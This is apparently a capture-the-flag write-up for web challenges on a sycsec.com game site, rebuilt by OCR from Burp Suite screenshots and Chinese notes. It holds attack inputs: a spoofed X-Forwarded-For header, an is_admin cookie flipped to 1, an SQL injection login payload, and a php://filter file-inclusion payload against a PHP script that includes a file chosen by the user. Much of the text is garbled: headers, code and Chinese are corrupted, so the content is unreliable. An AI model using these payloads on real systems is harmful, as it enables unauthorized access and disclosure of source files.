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W Burp Suite Professional v1.7.32 - Temporary Project - licensed to hundan

Burp Intruder Repeater Window Help

Target | Prooiy Spider | Scanner T Intruder T Repeater T Sequencer T Decoder I Comparer I Extender T Project options. T User options | Alerts

t I HTTP history TWahSDckals history T Options W

#| Reguest to hitp:/hwholuck game sycsee.com80 [222.18.158 156)

l Forward J { Drop J | terceptison | Action

Raw | Params | Headers | Hex

GET [form?score=10.00 HTTP# 1

Host: wholuck game.sycsec.com

User-Agent: Mozila/5.0 (Windows NT 6.1, Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0
Accept: texthtml applicationsdtmi+xml application s rg=08
Accept-Language: zh-CNzh;g=0 8 zh-TW:q=0.7 zh-HK:g=0 5 en-US:q=0.3 emq=0.2
Accept-Encoding: gzip, deflate

Referer: hitp: /iwholuck.game sycsec.com/

DHT: 1

Connection: close

Upgrade-Insecure-Reguests: 1

X-Forwarded-For: 127.0.0.1
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W} Burp Suite Professional v1.7.32 - Temporary Praject - licensed to hundan
Burp Intruder Repeater Window Help
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Target | Prosey | Spider | Scanner T Intruder I Repeater T Segquencer I Decoder T Comparer I Extender I Project options T User options | Alerts

j Intercept I HTTP history T WebSockets history I Options ]

f‘ Reguest to hitp://admin.game.sycsec.com:80 [222.18.158.196]

{ Forward J l Drop J [ Intercept is on } Action

Raw | Params | Headers | Hex

GET /HTTRA 1
Host: admin game sycsec.com

Accept: text/html application/xhtmi+xml application/xml;g=0.9**q=0 8
Accept-Language: zh-CN zh;g=0.8,zh-TW;q=0.7 zh-HK;
Accept-Encoding:
Cookie: is_admin=0
DNT: 1

Connection: close

zip, deflate

Upgrade-insecure-Requests: 1
X-Forwarded-For: 127.0.0.1

A
r
User-Agent: Mozilla/s 0 (Windows NT 8.1, WinB4; x84; rv:62.0) Gecko/20100101 Firefox/&2 0
0.5,en-US;g=0.3 en;g=0.2
b
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B Burp Suite Professional v1.7.32 - Temporary Project - licensed to hundan
Burp Intruder Repeater Window Help

[=l=]l=]

Target | Proxy | Spider | Scanner I Intruder I Repeater I Sequencer I Decoder T Comparer I Extender T Project options T User options | Alerts

J Intercept T HTTP history IWehSnckm history I Options ]

,I Reguest to http://admin.game.sycsec.com:80 [222.18.158.196]

| Forwarg J | oop | [interceptis on | Action

Raw | Params | Headers | Hex

tH|
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GET /HTTRA A

Host: admin.game sycsec com

User-Agent: MozilalS 0 (Windows NT 6.1, WinB4, x84, rv:62.0) Gecko/20100101 Firefox/62 .0
Accept: texthtml applicationidtmb+xml applicationsmlg=0.9 4 g=0 8
Accept-Language: zh-CN zl 0.8,zh-TWg=0.7 zh-HK; g=0.5 en-US;g=0.3,en;q=0.2
Accept-Encoding: gzip, deflate

Cookie: is_admin=1

DMT: 1

Connection: close

Upgrade-Insecure-Reguests: 1

X-Forwarded-For: 127.00.1
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LM Hash
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Password .o

ErER

The sgl you execute in final :select * from users where username="1" and password="1";
—

‘ Wrong User Name or Password!!!

RET —sqliER, £JE6ERIZEFN, [8RXENZ2ZEST
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Underground forum

management background

Username o=

Password
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PLUS PLUS

Username

Password

hack!!! The length of username and password should not exceed 4.

T 2 BATH i 3 55 1 payload:
usemamefii A\ \
password#i A\ ||1#
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Username

Password
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</body>
<l
if (isset(§ GET ' pl'J)){

if (§ GET['pl’] » 99999999 && strlen($ GET['pI’]) < 9}{

37 if (isset ( $ GET ['p2'] )} {

38 $p2 = $ GET ['p2’°]:

39 if (is_numeric($p2)){

40 die (" Input cannot be a number!!!’):
41 }

42 elsef

43 switeh (§p2)

44 case 0 :

45 break -

46 case 1 :

47 break -

48 case 2 :

49 echo “flag (xxxxx] ”;
50 break:

51 default :

52 echo "2333333":
53 break -

54 }

55 }

56

57 }

58 }

ad

60 }

61 —»
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K5 NgeekTEN B IUE: LFEFR(ZBEwpH BiREHMH)

B S5 Hrphplais:
<7php

error_reporting(0) ;
if (lempty($_GET) | |!empty ($_POST)) {
if(preg match("syclover”, $_GET[ id 1)) {
echo("<p>you’re a gay, not allowed !</p>");:
exit();

}
$ GET['id'] = urldecode($ GET[ id" 1) :

if(§ GET[id' ] = “syclover”)
{

echo “<p>Wow ,Vou' re smart, Access granted!</p>":

§f = $_POST[filel;
$str = §f.7.php”;
@require S$str:

}
else
{
@require  showpass. php’ ) ;
}
}
else 1
highlight_file("index. php”);
}

T



<?php
error_reporting(0); //3% 4 iR &
if (lempty($_GET)||!empty($_POST)Y{ if(preg_match("syclover",$ GET[id1)) {
echo("<p>you're a gay, not allowed !</p>");
exit();
}

$ GET[id] = urldecode($_GETT'id"); //%F $X B i & 3 AT url il i

if($_GET][id"] == "syclover") //#|WifH & &% F “syclover & T ik FHAT
{

echo "<p>Wow~ ,You're smart, Access granted!</";

$f = $_POST([file]; /B postHiiE £ % & 115 Hi & file
$str = $f.".php"; /I FFREPH X BRHHEANER L
@require $str; /[SCHEE
Y

else

{
@require('showpass.php'); /[3CHFEE
Y

}

else {
highlight_file("index.php");
}

?>
FREMEE A SRR 4 R RV g
http://intelligence.game.sycsec.com/showpass.php
F KA ELAS 37 F 36097 ik B gbk 4w i

O

aw - Ownees [Jesed
i hare, Bt you cae't fird me

R EREXEERREANE RMNAMHATHROREREEFEIRES T2 FHD TR

$f = $_POST([file]; /¥ posti i £ & 1S H Zfile
$str = $f.".php"; I FREPHEX BRHHEANER L
@require $str; /3CHEE

Payloads :file=php://filter/read=convert.base64-encode/resource=showpass
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